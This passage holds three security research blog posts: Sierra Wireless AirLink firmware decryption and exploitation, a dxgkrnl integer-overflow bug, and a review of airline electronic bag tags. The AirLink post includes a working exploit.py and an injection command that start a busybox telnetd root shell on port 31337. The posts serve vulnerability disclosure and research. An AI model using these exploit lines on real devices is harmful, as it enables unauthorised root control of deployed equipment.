int main(int argc, char *argv[]) 
{
   unsigned char *plaintext,*ciphertext;
   unsigned char *inbuf; 
   size_t n, decrypt;
   symmetric_CTR ctr;
   int cipher_idx, hash_idx;
   char *infile, *outfile, *cipher;
   FILE *fdin, *fdout;
   size_t amount;
   unsigned char *cKey;
   unsigned char *cIV;

   if (argc < 7) {
      return usage(argv[0]);
   }

  register_algs();

  inbuf = (unsigned char*)calloc(8192,1);
  cipher  = argv[3];
  infile  = argv[4];
  outfile = argv[5];
  amount = atoi(argv[6]);
   
   if (!strcmp(argv[1], "-d")) {
      plaintext = (unsigned char*)calloc(8192,1);
      decrypt = 1;     
   } else {
      printf("\n[!] decryption only");
      exit(0);
   }
 
   printf("\n* Sierra Wireless' Airlink Firmware Decrypter (Ruben Santamarta @ IOActive) * \n");

   init_keys( argv[2], strlen(argv[2]), atoi(argv[7]), &cKey, &cIV );
   
    
   fdin = fopen(infile,"rb");
   if (fdin == NULL) {
      perror("Can't open input for reading");
      exit(-1);
   }

   fdout = fopen(outfile,"wb");
   if (fdout == NULL) { 
      perror("Can't open output for writing");
      exit(-1);
   }
 
   cipher_idx = find_cipher(cipher);
   if (cipher_idx == -1) {
      printf("Invalid cipher entered on command line.\n");
      exit(-1);
   }

   
   if (decrypt) {
      
      
      if ((errno = ctr_start(cipher_idx,
                              cIV,
                              cKey,
                              32,
                              0,
                              CTR_COUNTER_LITTLE_ENDIAN,&ctr)) != CRYPT_OK) {
         printf("ctr_start error: %s\n",error_to_string(errno));
         exit(-1);
      }

     
      printf("\n[+] Decrypting firmware to %s...",outfile);

      do {

         n = fread(inbuf,1,amount,fdin);
          
         if ((errno = ctr_decrypt(inbuf,plaintext,n,&ctr)) != CRYPT_OK) {
            printf("ctr_decrypt error: %s\n", error_to_string(errno));
            exit(-1);
         }

         if (fwrite(plaintext,1,n,fdout) != n) {
            printf("Error writing to file.\n");
            exit(-1);
         }
        
      } while (n == amount);

      printf("\n[+] Done\n");
     
   } 

   fclose(fdin);
   fclose(fdout);
   return 0;
}

At this point, it is possible to decrypt all of the files, including the filesystem image, so we can start hunting. 

Remote Command Injection – Preauth –

Initial analysis showed that the main web interface looks solid enough after all those killed bugs. I decided to take a look at one of the main features of these AirLink devices: the ALEOS Application Framework (AAF). 

It is worth mentioning that this set of features is not enabled by default, so the administrator needs to enable AAF through the web interface. Once it has been activated, this framework will extend the regular capabilities of these devices, allowing external developers to create their own embedded applications. From the device perspective this has mainly been implemented using LUA, so I decided to take a look at the code (‘/usr/readyagent/lua’ folder). There was something that immediately got my attention: when AAF is enabled, a custom LUA RPC scheduler is exposed at LAN_IP:1999/TCP.

Following the code, we find that this RPC server deserializes arbitrary function names and arguments, which may be attacker controllable.

The first request (line 55) receives ‘t’,‘seqnum’ and the number of bytes of serialized data to be received from the client. Then, at line 162, our data will be deserialized using ‘luatobin’ format. 

 These values will be handled by ‘common.execute,’ which allows any function to be executed.

A malicious actor can leverage this vulnerability to invoke arbitrary LUA functions, such as ‘os.execute’. As a result, an attacker on a network adjacent to an AirLink device (with AAF enabled), will gain the ability to execute arbitrary commands under the privilege of the ‘rauser’ account.

Local Privilege Escalation to Root

At this point I could execute arbitrary commands without requiring any authentication, but ‘rauser’ is still a low-privileged account. The next step was to find a way to escalate privileges to root. 

The main web interface is not running as root, but still we can update the firmware, reboot the device, etc., so there should be some logic that allows these ‘root’ operations to be requested from a different privilege level. By reverse engineering the different binaries involved, I eventually found the IPC mechanism: a message queue called ‘/urmG’ 

Any process can access this message queue:

-rw-rw-rw-    1 root     0               80 Sep  9 00:34 urmG

Basically, the root process ‘/usr/sbin/UpdateRebootMgr’ reads a message from this queue that contains the action that has to be performed on the requester’s behalf.  Depending on the action, ‘UpdateRebootMgr’ will run the binary in charge of that action, while also passing the command line received from the low-privileged process through the message queue. 

For instance, ‘RequestUpdate’ is a binary that sends messages to the ‘UpdateRebootMgr’ root process through the ‘/urmG’ message queue. When ‘UpdateRebootMgr’ processes a certain message, it will invoke ‘FW_UPLOAD_CMD’ using the command line passed in the ‘-o’ argument.

File: ‘/usr/sbin/atfw_rm_update’

…
RequestUpdate -c aleos -o "--aleos $LOCAL_FW" –w
…

Pay attention to this sequence:

This looks promising. Let’s see what is inside ‘ALEOS:swsystemtools::runSystem.’

‘ALEOS::swsystemtools::isSafeString’ looks like the kind of function that should prevent this injection from happening; however, it fails because when the first character is a ‘-‘ it is possible to bypass the ‘find_first_of’ check, which would detect some command injection characters.

As a result, it is possible to perform a classic command injection through the ‘/urmG’ message queue to escalate privileges to root. 

We can use the ‘RequestUpdate’ binary as a PoC:

$ RequestUpdate -c aleos -o “–aleos /tmp/whatever | /bin/busybox telnetd -l/bin/sh -p31337”

An exploit would be as follows:

File: ‘exploit.py’

#!/usr/bin/env python

import socket


TCP_IP = '192.168.13.31'
TCP_PORT = 1999
BUFFER_SIZE = 1024
MESSAGE1 = "\x00\x01\x00\x00\x00\x7C"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))
s.send(MESSAGE1)
s.send("\x04\x00\x0A"+"os.execute"+"\x04\x00\x60"+"/tmp/RequestUpdate -c aleos -o \"--aleos /tmp/pun|/bin/busybox telnetd -l/bin/sh -p31337\""+"\x00"*26)

data = s.recv(BUFFER_SIZE)
s.close()

print "received data:", repr(data)

Impact

This chain of exploits can be used from an adjacent network to get root access without requiring any authentication on any AirLink device that has AAF enabled. This is not the default option, so the attack is mitigated in that sense.

There are some security boundaries these vulnerabilities break in a Sierra Wireless AirLink device:

1. According to the documentation, the ‘root’ user is proprietary to Sierra Wireless.
2. The main firmware file is signed and  certain key files in the package are encrypted. This attack allows malicious firmware to be installed on the device, thus gaining persistence.
3. There is an interesting feature, although it is unlikely to be exploited. AirLink customers can temporarily enable a remote support option. This adds a hardcoded root hash to ‘/etc/shadow’ and seems to be identical across devices. A rooted AirLink device might be used to trick Sierra Wireless support staff into remotely connecting to the device to capture the password.

Conclusion

IOActive notified Sierra Wireless about these vulnerabilities in January 2020, which resulted in the following advisories:

—–

Sierra Wireless thanks IOActive for the responsible disclosure of these vulnerabilities.

In current versions of ALEOS, the RPC server is enabled only when the AAF user password is defined.

Sierra Wireless recommends that customers enable the AAF user only for devices that are being used for AAF development and debugging. The AAF user is not required for AAF applications to be deployed and run.

Deployed devices must not have the AAF user password enabled.

Sierra Wireless recommends upgrading to the latest ALEOS version for your gateway. For devices running ALEOS 4.13 today, Sierra Wireless recommends upgrading to ALEOS 4.14.0 once it is available.

For more information see our advisory at https://source.sierrawireless.com/resources/security-bulletins/sierra-wireless-technical-bulletin—swi-psa-2020-005/ 

—-

We greatly appreciate the collaborative communication with Sierra Wireless during this process.

The year 2020 has been a disaster of biblical proportions. Old Testament, real wrath of God type stuff. Fire and brimstone coming down from the skies! Rivers and seas boiling! Forty years of darkness, earthquakes, volcanoes, the dead rising from the grave! Human sacrifices, dogs and cats living together…mass hysteria and reporting Linux kernel bugs to Microsoft!? I thought I would write up a quick blog post explaining the following tweet and walk through a memory corruption flaw reported to MSRC that was recently fixed.

Back in May, before Alex Ionescu briefly disappeared from the Twitter-verse causing a reactionary slew of conspiracy theories, he sent out this tweet calling out the dxgkrnl driver. That evening it was brought to my attention by my buddy Ilja van Sprundel. Ilja has done a lot of driver research over the years, some involving Windows kernel graphics drivers. The announcement of dxgkrnl was exciting and piqued our interest regarding the new attack surface it opens up. So we decided to quickly dive into it and race to find bugs. When examining kernel drivers the first thing I head to are the IOCTL (Input/Output Control) handlers. IOCTL handlers allow users to communicate with the driver via the ioctl syscall. This is a prime attack surface because the driver is going to be handling userland-provided data within kernel space. Looking into drivers/gpu/dxgkrnl/ioctl.c the following function is at the bottom, showing us a full list of the IOCTL handlers that we want to analyze.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136

void ioctl_desc_init(void)
{
    memset(ioctls, 0, sizeof(ioctls));
    SET_IOCTL(/*0x1 */ dxgk_open_adapter_from_luid,
          LX_DXOPENADAPTERFROMLUID);
    SET_IOCTL(/*0x2 */ dxgk_create_device,
          LX_DXCREATEDEVICE);
    SET_IOCTL(/*0x3 */ dxgk_create_context,
          LX_DXCREATECONTEXT);
    SET_IOCTL(/*0x4 */ dxgk_create_context_virtual,
          LX_DXCREATECONTEXTVIRTUAL);
    SET_IOCTL(/*0x5 */ dxgk_destroy_context,
          LX_DXDESTROYCONTEXT);
    SET_IOCTL(/*0x6 */ dxgk_create_allocation,
          LX_DXCREATEALLOCATION);
    SET_IOCTL(/*0x7 */ dxgk_create_paging_queue,
          LX_DXCREATEPAGINGQUEUE);
    SET_IOCTL(/*0x8 */ dxgk_reserve_gpu_va,
          LX_DXRESERVEGPUVIRTUALADDRESS);
    SET_IOCTL(/*0x9 */ dxgk_query_adapter_info,
          LX_DXQUERYADAPTERINFO);
    SET_IOCTL(/*0xa */ dxgk_query_vidmem_info,
          LX_DXQUERYVIDEOMEMORYINFO);
    SET_IOCTL(/*0xb */ dxgk_make_resident,
          LX_DXMAKERESIDENT);
    SET_IOCTL(/*0xc */ dxgk_map_gpu_va,
          LX_DXMAPGPUVIRTUALADDRESS);
    SET_IOCTL(/*0xd */ dxgk_escape,
          LX_DXESCAPE);
    SET_IOCTL(/*0xe */ dxgk_get_device_state,
          LX_DXGETDEVICESTATE);
    SET_IOCTL(/*0xf */ dxgk_submit_command,
          LX_DXSUBMITCOMMAND);
    SET_IOCTL(/*0x10 */ dxgk_create_sync_object,
          LX_DXCREATESYNCHRONIZATIONOBJECT);
    SET_IOCTL(/*0x11 */ dxgk_signal_sync_object,
          LX_DXSIGNALSYNCHRONIZATIONOBJECT);
    SET_IOCTL(/*0x12 */ dxgk_wait_sync_object,
          LX_DXWAITFORSYNCHRONIZATIONOBJECT);
    SET_IOCTL(/*0x13 */ dxgk_destroy_allocation,
          LX_DXDESTROYALLOCATION2);
    SET_IOCTL(/*0x14 */ dxgk_enum_adapters,
          LX_DXENUMADAPTERS2);
    SET_IOCTL(/*0x15 */ dxgk_close_adapter,
          LX_DXCLOSEADAPTER);
    SET_IOCTL(/*0x16 */ dxgk_change_vidmem_reservation,
          LX_DXCHANGEVIDEOMEMORYRESERVATION);
    SET_IOCTL(/*0x17 */ dxgk_create_hwcontext,
          LX_DXCREATEHWCONTEXT);
    SET_IOCTL(/*0x18 */ dxgk_create_hwqueue,
          LX_DXCREATEHWQUEUE);
    SET_IOCTL(/*0x19 */ dxgk_destroy_device,
          LX_DXDESTROYDEVICE);
    SET_IOCTL(/*0x1a */ dxgk_destroy_hwcontext,
          LX_DXDESTROYHWCONTEXT);
    SET_IOCTL(/*0x1b */ dxgk_destroy_hwqueue,
          LX_DXDESTROYHWQUEUE);
    SET_IOCTL(/*0x1c */ dxgk_destroy_paging_queue,
          LX_DXDESTROYPAGINGQUEUE);
    SET_IOCTL(/*0x1d */ dxgk_destroy_sync_object,
          LX_DXDESTROYSYNCHRONIZATIONOBJECT);
    SET_IOCTL(/*0x1e */ dxgk_evict,
          LX_DXEVICT);
    SET_IOCTL(/*0x1f */ dxgk_flush_heap_transitions,
          LX_DXFLUSHHEAPTRANSITIONS);
    SET_IOCTL(/*0x20 */ dxgk_free_gpu_va,
          LX_DXFREEGPUVIRTUALADDRESS);
    SET_IOCTL(/*0x21 */ dxgk_get_context_process_scheduling_priority,
          LX_DXGETCONTEXTINPROCESSSCHEDULINGPRIORITY);
    SET_IOCTL(/*0x22 */ dxgk_get_context_scheduling_priority,
          LX_DXGETCONTEXTSCHEDULINGPRIORITY);
    SET_IOCTL(/*0x23 */ dxgk_get_shared_resource_adapter_luid,
          LX_DXGETSHAREDRESOURCEADAPTERLUID);
    SET_IOCTL(/*0x24 */ dxgk_invalidate_cache,
          LX_DXINVALIDATECACHE);
    SET_IOCTL(/*0x25 */ dxgk_lock2,
          LX_DXLOCK2);
    SET_IOCTL(/*0x26 */ dxgk_mark_device_as_error,
          LX_DXMARKDEVICEASERROR);
    SET_IOCTL(/*0x27 */ dxgk_offer_allocations,
          LX_DXOFFERALLOCATIONS);
    SET_IOCTL(/*0x28 */ dxgk_open_resource,
          LX_DXOPENRESOURCE);
    SET_IOCTL(/*0x29 */ dxgk_open_sync_object,
          LX_DXOPENSYNCHRONIZATIONOBJECT);
    SET_IOCTL(/*0x2a */ dxgk_query_alloc_residency,
          LX_DXQUERYALLOCATIONRESIDENCY);
    SET_IOCTL(/*0x2b */ dxgk_query_resource_info,
          LX_DXQUERYRESOURCEINFO);
    SET_IOCTL(/*0x2c */ dxgk_reclaim_allocations,
          LX_DXRECLAIMALLOCATIONS2);
    SET_IOCTL(/*0x2d */ dxgk_render,
          LX_DXRENDER);
    SET_IOCTL(/*0x2e */ dxgk_set_allocation_priority,
          LX_DXSETALLOCATIONPRIORITY);
    SET_IOCTL(/*0x2f */ dxgk_set_context_process_scheduling_priority,
          LX_DXSETCONTEXTINPROCESSSCHEDULINGPRIORITY);
    SET_IOCTL(/*0x30 */ dxgk_set_context_scheduling_priority,
          LX_DXSETCONTEXTSCHEDULINGPRIORITY);
    SET_IOCTL(/*0x31 */ dxgk_signal_sync_object_cpu,
          LX_DXSIGNALSYNCHRONIZATIONOBJECTFROMCPU);
    SET_IOCTL(/*0x32 */ dxgk_signal_sync_object_gpu,
          LX_DXSIGNALSYNCHRONIZATIONOBJECTFROMGPU);
    SET_IOCTL(/*0x33 */ dxgk_signal_sync_object_gpu2,
          LX_DXSIGNALSYNCHRONIZATIONOBJECTFROMGPU2);
    SET_IOCTL(/*0x34 */ dxgk_submit_command_to_hwqueue,
          LX_DXSUBMITCOMMANDTOHWQUEUE);
    SET_IOCTL(/*0x35 */ dxgk_submit_wait_to_hwqueue,
          LX_DXSUBMITWAITFORSYNCOBJECTSTOHWQUEUE);
    SET_IOCTL(/*0x36 */ dxgk_submit_signal_to_hwqueue,
          LX_DXSUBMITSIGNALSYNCOBJECTSTOHWQUEUE);
    SET_IOCTL(/*0x37 */ dxgk_unlock2,
          LX_DXUNLOCK2);
    SET_IOCTL(/*0x38 */ dxgk_update_alloc_property,
          LX_DXUPDATEALLOCPROPERTY);
    SET_IOCTL(/*0x39 */ dxgk_update_gpu_va,
          LX_DXUPDATEGPUVIRTUALADDRESS);
    SET_IOCTL(/*0x3a */ dxgk_wait_sync_object_cpu,
          LX_DXWAITFORSYNCHRONIZATIONOBJECTFROMCPU);
    SET_IOCTL(/*0x3b */ dxgk_wait_sync_object_gpu,
          LX_DXWAITFORSYNCHRONIZATIONOBJECTFROMGPU);
    SET_IOCTL(/*0x3c */ dxgk_get_allocation_priority,
          LX_DXGETALLOCATIONPRIORITY);
    SET_IOCTL(/*0x3d */ dxgk_query_clock_calibration,
          LX_DXQUERYCLOCKCALIBRATION);
    SET_IOCTL(/*0x3e */ dxgk_enum_adapters3,
          LX_DXENUMADAPTERS3);
    SET_IOCTL(/*0x3f */ dxgk_share_objects,
          LX_DXSHAREOBJECTS);
    SET_IOCTL(/*0x40 */ dxgk_open_sync_object_nt,
          LX_DXOPENSYNCOBJECTFROMNTHANDLE2);
    SET_IOCTL(/*0x41 */ dxgk_query_resource_info_nt,
          LX_DXQUERYRESOURCEINFOFROMNTHANDLE);
    SET_IOCTL(/*0x42 */ dxgk_open_resource_nt,
          LX_DXOPENRESOURCEFROMNTHANDLE);
}

When working through this list of functions, I eventually stumbled into dxgk_signal_sync_object_cpu which has immediate red flags. We can see that data is copied from userland into kernel space via dxg_copy_from_user() in the form of the structure d3dkmt_signalsynchronizationobjectfromcpu and the data is passed as various arguments to dxgvmb_send_signal_sync_object().

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52

struct d3dkmt_signalsynchronizationobjectfromcpu {
    d3dkmt_handle device;
    uint object_count;
    d3dkmt_handle *objects;
    uint64_t  *fence_values;
    struct d3dddicb_signalflags flags;
};

static int dxgk_signal_sync_object_cpu(struct dxgprocess *process,
                       void *__user inargs)
{
    struct d3dkmt_signalsynchronizationobjectfromcpu args;
    struct dxgdevice *device = NULL;
    struct dxgadapter *adapter = NULL;
    int ret = 0;

    TRACE_FUNC_ENTER(__func__);

    ret = dxg_copy_from_user(&args, inargs, sizeof(args));  // User controlled data copied into args
    if (ret)
        goto cleanup;

    device = dxgprocess_device_by_handle(process, args.device);
    if (device == NULL) {
        ret = STATUS_INVALID_PARAMETER;
        goto cleanup;
    }

    adapter = device->adapter;
    ret = dxgadapter_acquire_lock_shared(adapter);
    if (ret) {
        adapter = NULL;
        goto cleanup;
    }

    ret = dxgvmb_send_signal_sync_object(process, &adapter->channel,        // User controlled data passed as arguments
                         args.flags, 0, 0,                              // specific interest args.object_count
                         args.object_count, args.objects, 0,
                         NULL, args.object_count,
                         args.fence_values, NULL,
                         args.device);

cleanup:

    if (adapter)
        dxgadapter_release_lock_shared(adapter);
    if (device)
        dxgdevice_release_reference(device);

    TRACE_FUNC_EXIT(__func__, ret);
    return ret;
}

The IOCTL handler dxgk_signal_sync_object_cpu lacked input validation of user-controlled data. The user passes a d3dkmt_signalsynchronizationobjectfromcpu structure which contains a uint value for object_count. Moving deeper into the code, in dxgvmb_send_signal_sync_object (drivers/gpu/dxgkrnl/dxgvmbus.c), we know that we control the following arguments at this moment and there’s been zero validation:

• args.flags (flags)
• args.object_count (object_count, fence_count)
• args.objects (objects)
• args.fence_values (fences)
• args.device (device)

An interesting note is that args.object_count is being used for both the object_count and fence_count. Generally a count is used to calculate length, so it’s important to keep an eye out for counts that you control. You’re about to witness some extremely trivial bugs. If you’re inexperienced at auditing C code for vulnerabilities, see how many issues you can spot before reading the explanations below.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83

int dxgvmb_send_signal_sync_object(struct dxgprocess *process,
                   struct dxgvmbuschannel *channel,
                   struct d3dddicb_signalflags flags,
                   uint64_t legacy_fence_value,
                   d3dkmt_handle context,
                   uint object_count,
                   d3dkmt_handle __user *objects,
                   uint context_count,
                   d3dkmt_handle __user *contexts,
                   uint fence_count,
                   uint64_t __user *fences,
                   struct eventfd_ctx *cpu_event_handle,
                   d3dkmt_handle device)
{
    int ret = 0;
    struct dxgkvmb_command_signalsyncobject *command = NULL;
    uint object_size = object_count * sizeof(d3dkmt_handle);            
    uint context_size = context_count * sizeof(d3dkmt_handle);          
    uint fence_size = fences ? fence_count * sizeof(uint64_t) : 0;      
    uint8_t *current_pos;
    uint cmd_size = sizeof(struct dxgkvmb_command_signalsyncobject) +
        object_size + context_size + fence_size;

    if (context)
        cmd_size += sizeof(d3dkmt_handle);                              

    command = dxgmem_alloc(process, DXGMEM_VMBUS, cmd_size);
    if (command == NULL) {
        ret = STATUS_NO_MEMORY;
        goto cleanup;
    }

    command_vgpu_to_host_init2(&command->hdr,                     
                   DXGK_VMBCOMMAND_SIGNALSYNCOBJECT,
                   process->host_handle);

    if (flags.enqueue_cpu_event)
        command->cpu_event_handle = (winhandle) cpu_event_handle; 
    else
        command->device = device;                                     
    command->flags = flags;                                             
    command->fence_value = legacy_fence_value;                          
    command->object_count = object_count;                               
    command->context_count = context_count;                             
    current_pos = (uint8_t *) &command[1];
    ret = dxg_copy_from_user(current_pos, objects, object_size);        
    if (ret) {
        pr_err("Failed to read objects %p %d",
               objects, object_size);
        goto cleanup;
    }
    current_pos += object_size;
    if (context) {
        command->context_count++;
        *(d3dkmt_handle *) current_pos = context;
        current_pos += sizeof(d3dkmt_handle);
    }
    if (context_size) {
        ret = dxg_copy_from_user(current_pos, contexts, context_size);
        if (ret) {
            pr_err("Failed to read contexts %p %d",
                   contexts, context_size);
            goto cleanup;
        }
        current_pos += context_size;
    }
    if (fence_size) {
        ret = dxg_copy_from_user(current_pos, fences, fence_size);
        if (ret) {
            pr_err("Failed to read fences %p %d",
                   fences, fence_size);
            goto cleanup;
        }
    }

    ret = dxgvmb_send_sync_msg_ntstatus(channel, command, cmd_size);

cleanup:
    if (command)
        dxgmem_free(process, DXGMEM_VMBUS, command);
    TRACE_FUNC_EXIT_ERR(__func__, ret);
    return ret;
}

This count that we control is used in multiple locations throughout the IOCTL for buffer length calculations without validation. This leads to multiple integer overflows, followed by an allocation that is too short which causes memory corruption.

Integer overflows:

17) Our controlled value object_count is used to calculate object_size

19) Our controlled value fence_count is used to calculate fence_size

21) The final result of cmd_size is calculated using the previous object_size and fence_size values

25) cmd_size could simply overflow from adding the size of d3dkmt_handle if it were large enough

Memory corruption:

27) The result of cmd_size is ultimately used as a length calculation for dxgmem_alloc. As an attacker, we can force this to be very small.

Since our new allocated buffer command can be extremely small, the following execution that writes to it could cause memory corruption.

33-44) These are all writing data to what is pointing at the buffer, and depending on the size we force there’s no guarantee that there is space for the data.

46,59) Eventually execution will lead to two different calls of dxg_copy_from_user. In both cases, it is copying in user-controlled data using the original extremely large size values (remember our object_count was used to calculate both object_size and fence_size).

Hopefully this inspired you to take a peek at other opensource drivers and hunt down security bugs. This issue was reported to MSRC on May 20th, 2020 and resolved on August 26th, 2020 after receiving the severity of Important with an impact of Elevation of Privilege.

You can view the patch commit here with the new added validation.

If you are reading this article, I will venture to guess that you have already had the ‘pleasure’ of queuing to check a bag at an airport. In order to improve the checking procedure, Electronic Baggage Tag (EBT) solutions are being introduced on the market that leverage the new technologies most travellers have access to nowadays.

This time I will take a look at the security posture of two of the most prominent EBT solutions: British Airways’ TAG and Lufthansa’s BAGTAG.

First of all, IATA provides an implementation guide for these devices, which I recommend you read before continuing on with this blog post, as well as the IATA resolution 753 on baggage tracking.

Certain parts of the implementation guide are worth noting:

In general terms, an EBT solution is comprised of:

• Airline mobile app
• Airline backend
• EBT device
  • NFC
  • BLE
  • Display (e-INK)

The communication channel between airline mobile app and the EBT is established through a BLE interface.
Now let’s see how close to the expected functionality of these EBT solutions is to the IATA security requirements.

British Airways’ TAG

British Airways’ (BA’s) TAG is provided by ViewTag. As usual, by looking at the FCCID website, we can find a teardown of the device.

The differences between the teardown version and the one being commercialized are not significant.

It is as simple as it looks. The Nordic SoC is in charge of BLE communication with the mobile app. By reverse engineering the BA app, it was possible to easily figure out how the solution is working: Basically, the BA app directly transfers the data that will be used to update the EBT display via BLE without any additional security.

A custom payload written to the ‘PASS_DATA’ characteristic is the mechanism used to transfer the boarding pass/bag tag data that eventually will be rendered on the EBT device’s e-INK display. The device does not validate either the authenticity or the integrity of the data being transferred. The following code receives the booking information collected from the BA backend and generates the payload:

The payload is a string where the following items are concatenated in a specific order.

• passengerName
• bookingReference
• priority
• sequenceNumber
• destinationFlightNum
• destinationFlightDate (ddHHmm)
• destinationAirport
• destinationName
• firstTransferFlightNum
• firstTransferFlightDate
• firstTransferAirport
• secondTransferFlightNum
• secondTransferFlightDate
• secondTransferAirport
• departureAirport
• euDeparture (enable green bars)
• fullIdentifier

That’s it, not very interesting I know…

The above diagram sums up the overall implementation:

1. The BA app downloads the passenger’s booking info and checks the ability to generate a digital bag tag (only available to Executive Club members).
2. The BA app generates the bag tag payload and transfers it through the PASS_DATA characteristic
3. The EBT processes this payload and updates the e-INK display with the received information.

As a result of this design, anyone, not only the airline, is able to forge arbitrary bag tags and update the EBT device without any further interaction with BA. Obviously you still require physical access to the EBT device to press the button that will enable the BLE functionality.

The following proof-of-concept can be used to forge arbitrary bag tags and render them on a BA TAG.

File: poc.py

The following is a custom bag tag generated using this PoC:

Lufthansa’s BAGTAG

Lufthansa decided to go with DSTAGS, a company founded by an NXP employee. This company created BAGTAG. I think it is worth mentioning this detail because my analysis revealed that the team behind the device seems to have significant experience with NXP components, although from a security perspective they missed some basic things.

As with the TAG solution, we can access a device teardown on the FCCID site, which is almost identical to the units used during the analysis.

The main components are:

• Nordic NRF8001 – BLE SoC
• NXP LPC115F – MCU
• NXP 7001C – Secure Element

As the following image shows, the Serial Wire Debug (SWD) headers were easily accessible, so that was the first thing to check.

Fortunately, the BAGTAG production units are being commercialized without enforcing any type of Code Read Protection (CRP) scheme in their MCUs. As a result, it was possible to gain complete access to the firmware, as well as to flash a new one (I used a PEmicro Multilink working with the NXP’s MCUxpresso built-in gdb server).

After reverse engineering the firmware (bare metal, no symbols, no strings) and the app, it was clear that this solution was much more complex and solid than BA’s. Basically, the BAGTAG solution implements a chip-to-cloud scheme using the NDA-protected NXP 7001C Secure Element, which contains the cryptographic materials required both to uniquely identify the EBT and to decrypt the responses received from the BAGTAG backend. The MCU communicates with the Lufthansa app through the NRF8001 BLE transceiver.

I came up with the following diagram to help elaborate the main points of interest.

• 1. The Lufthansa app downloads the passenger’s booking info and checks whether the user wants to generate an EBT.
• 2. The BAGTAG’s BLE service exposes two characteristics (receiveGUID and transmitGUID) that are basically used to transfer data between the app and the device.

Actually the important data comes encrypted directly from the BAGTAG cloud. In addition to the passthrough channel, there are two publicly supported commands:

The startSessionRequest returns an internal 59-byte ‘ID’ that identifies that specific BAGTAG device. This ID is stored inside the NXP 7001 Secure Element, which communicates with the MCU via I2C using an ISO-7816-compliant protocol.

There are two commands invoked in the firmware for the selected applet:

• 0x8036: Returns the Session ID and uCode (to generate the IATA’s GUID)
• 0x8022: Decrypt data (received from the BAGTAG backend through the BLE passthrough)

• 3. The user needs to register the BAGTAG device and create an account. Then the app serializes the booking info required to generate a valid BAGTAG (pretty much the same fields that were mentioned for BA’s solution) and submits it to the BAGTAG backend to be validated. If everything is correct, the BAGTAG backend returns an encrypted blob that goes through the BLE passthrough channel directly to the BAGTAG device.
• 4. The MCU receives this encrypted blob and sends it to the 7001C Secure Element to be decrypted. The decrypted data received from the 7001C via I2C is then processed, eventually updating the e-INK display with this information.

It is worth mentioning that I didn’t perform any live tests on the Internet-facing servers to avoid any unexpected behaviors in the production environments.

At the intra-board communication level, the MCU does not implement a secure channel to talk to the NXP 7001C Secure Element. As a result, a malicious component on the I2C bus could provide arbitrary content that will eventually be rendered, as the MCU has no way of validating whether it came from the actual 7001C. Obviously, malicious firmware running in the BAGTAG device may perform the same actions without requiring an external component.

Intra-board attacks (SPI, I2C, etc.) are really interesting in those scenarios where the MCU offloads a specific functionality (network, crypto, radio, etc.) to a certain SoC. If you are into this kind of attacks, stay tuned 😉

For instance, we can see how this lack of intra-board security can also lead to a memory corruption vulnerability in this firmware:

See the issue?

At line 58 ‘transfer_to_i2c’ expects to read v12+2 bytes from the I2C slave, storing them at 0x100011A4. Then at line 63, it is using a byte that may be controlled by an attacker to calculate the number of bytes that will be copied in the memcpy operation. Now, if that byte is 0x00, we will face a wild memcpy corruption scenario.

Conclusions

Lufthansa and British Airways were notified of these issues. Both consider these issues as low-risk threats.

British Airways

“Through our own internal investigations we have validated that there are enough checks in the background that take place to ensure an unauthorised bag would not make it through.

The potential exploitation scenarios are overall really unlikely. The overall risk to the businesses is also considered to be low severity.”

Lufthansa

“From a security standpoint appropriate screening of hold baggage remains by far the most important pillar.

In addition the baggage handling process is robust against many forms of manipulation.

The manipulation by means of EBT is therefore only a supplement to already considered cases and does not mean a significant increase of the attacksurface.

In this respect, there is only a small additional probability of occurrence.

A piece of luggage manipulated via Bluetooth would be identified and transferred to a verification process.

This ensures that no luggage manipulated in this way can get on board of one of our aircrafts.

Lufthansa thanks the researcher for his cooperation.

We will gladly follow up such indications, among other things by means of our BugBounty program.”

I agree, there are serious limitations to turning these issues into a serious attack scenario; however, time will tell how these technologies evolve. Hopefully this kind of research will help to close any security gaps before a more significant attack vector can be discovered.

References

1. https://www.iata.org/en/publications/ebt-guide/
2. https://www.iata.org/en/programs/ops-infra/baggage/baggage-tracking/
3. https://viewtag.com/
4. https://fccid.io/NOI-VGIDEBT/Internal-Photos/Internal-photos-4145161
5. https://fccid.io/2AK3S-BAGTAG/Internal-Photos/Internal-photographs-3391010
6. https://www.nxp.com/docs/en/data-sheet/LPC111X.pdf
7. http://www.pemicro.com/products/product_viewDetails.cfm?product_id=15320168&productTab=1
8. https://www.nxp.com/design/software/development-software/mcuxpresso-software-and-tools-/mcuxpresso-integrated-development-environment-ide:MCUXpresso-IDE